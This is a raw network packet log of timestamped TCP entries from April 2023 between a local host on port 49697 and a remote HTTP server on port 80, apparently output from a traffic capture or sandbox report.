Apr 27, 2023 07:42:00.649032116 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.649075031 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.658304930 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.658360004 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.658384085 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.658396959 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.658426046 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.658442974 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.658451080 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.658479929 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.658495903 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.658524990 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.658539057 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.658560038 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.658586025 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.658605099 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.658612013 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.658638000 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.658664942 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.658680916 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.658690929 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.658725977 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.658770084 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.658788919 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.658813953 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.658828020 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.658852100 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.658911943 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.659008980 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.659041882 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.659085035 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.659102917 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.659130096 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.659157038 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.659174919 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.659207106 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.659239054 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.659307957 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.659317017 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.659353018 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.659431934 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.659492970 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.659523964 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.659557104 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.659568071 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.659614086 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.659631014 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.659652948 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.659718037 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.672713041 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.672763109 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.672808886 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.672844887 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.672871113 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.672920942 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.674550056 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.674597979 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.674643040 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.674679041 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.674688101 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.674731970 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.674731970 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.676588058 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.676665068 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.676701069 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.676711082 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.676734924 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.676754951 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.676785946 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.676790953 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.676819086 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.676872969 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.678170919 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.678248882 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.678296089 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.678330898 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.678332090 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.678370953 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.678394079 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.679825068 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.679909945 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.679920912 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.679955959 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.679989100 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.679990053 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.680022001 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.680059910 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.684969902 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.685017109 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.685051918 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.685062885 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.685089111 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.685100079 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.685143948 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.685147047 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.685147047 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.685175896 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.685204029 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.685220957 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.685230017 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.685281038 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.685328960 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.685328960 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.685345888 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.685518980 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.688235044 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.688316107 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.688349962 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.688349009 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.688395023 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.688409090 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.688430071 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.688438892 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.688438892 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.689539909 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.689800024 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.689836025 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.689861059 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.689881086 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.689884901 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.689928055 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.689932108 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.689965010 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.689980030 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.690013885 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.691504955 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.691550970 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.691581011 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.691581964 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.691606998 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.691627026 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.691634893 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.691660881 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.691679955 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.691709042 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.693329096 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.693366051 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.693398952 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.693413019 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.693459034 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.693459034 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.693483114 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.693519115 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.693573952 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.694871902 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.694905996 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.694950104 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.694988012 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.695008993 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.695014954 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.695060968 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.695065975 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.695115089 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.696504116 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.696549892 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.696582079 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.696592093 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.696618080 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.696625948 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.696640968 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.696662903 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.696746111 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.698194027 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.698237896 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.698266029 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.698322058 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.698394060 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.698395014 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.698414087 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.698523045 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.699959993 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.700006962 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.700040102 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.700083017 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.700089931 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.700118065 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.700131893 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.700156927 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.701482058 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.701545000 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.701545000 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.701555014 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.701601028 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.701647997 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.701658010 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.701683044 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.701704979 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.701719999 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.701730013 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.701771021 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.703341961 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.703387976 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.703428984 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.703434944 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.703464985 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.703475952 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.703512907 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.703536034 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.703562021 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.703583002 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.704950094 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.704993963 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.705027103 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.705071926 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.705073118 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.705104113 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.705107927 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.705144882 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.705168009 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.706629038 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.706674099 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.706717968 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.706729889 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.706753969 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.706809998 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.706810951 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.706979036 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.708271980 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.708317995 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.708353996 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.708364964 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.708394051 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.708401918 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.708446026 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.708497047 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.711529016 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.711576939 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.711623907 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.711661100 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.711664915 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.711698055 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.711704969 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.711715937 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.711739063 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.711772919 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.711783886 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.711793900 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.711827040 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.711846113 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.711860895 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.711885929 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.711915970 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.713335991 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.713381052 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.713406086 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.713433981 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.713465929 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.713502884 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.713527918 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.713551998 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.718197107 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.718233109 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.718276024 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.718277931 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.718307018 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.718312025 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.718358040 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.718381882 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.718393087 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.718435049 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.718437910 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.718456984 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.718472004 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.718502045 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.718516111 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.718547106 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.718561888 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.718636036 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.718671083 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.718708038 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.863466978 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.888860941 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.937450886 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.937499046 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.937542915 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.937575102 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.937602997 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.937603951 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.937619925 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.937659025 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.937669992 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.937704086 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.937705040 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.937727928 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.937737942 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.937763929 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.937781096 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.937794924 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.937827110 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.937848091 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.937861919 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.937886000 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.937917948 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.950329065 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.950377941 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.950423956 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.950458050 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.950459003 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.950496912 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.950505972 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.950525999 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.950537920 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.950571060 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.950582027 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.950594902 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.950627089 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.950644970 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.950669050 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.950690985 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.950712919 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.950720072 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.950757980 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.950774908 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.950803041 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.950824976 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.950848103 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.950867891 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.950892925 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.950913906 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.950937986 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.950958014 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.950972080 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.951003075 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.951028109 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.951062918 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.951107979 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.951122046 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.951153040 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.951169014 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.951193094 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.951215982 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.951262951 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.951555967 CEST	80	49697	85.192.63.15	192.168.2.3
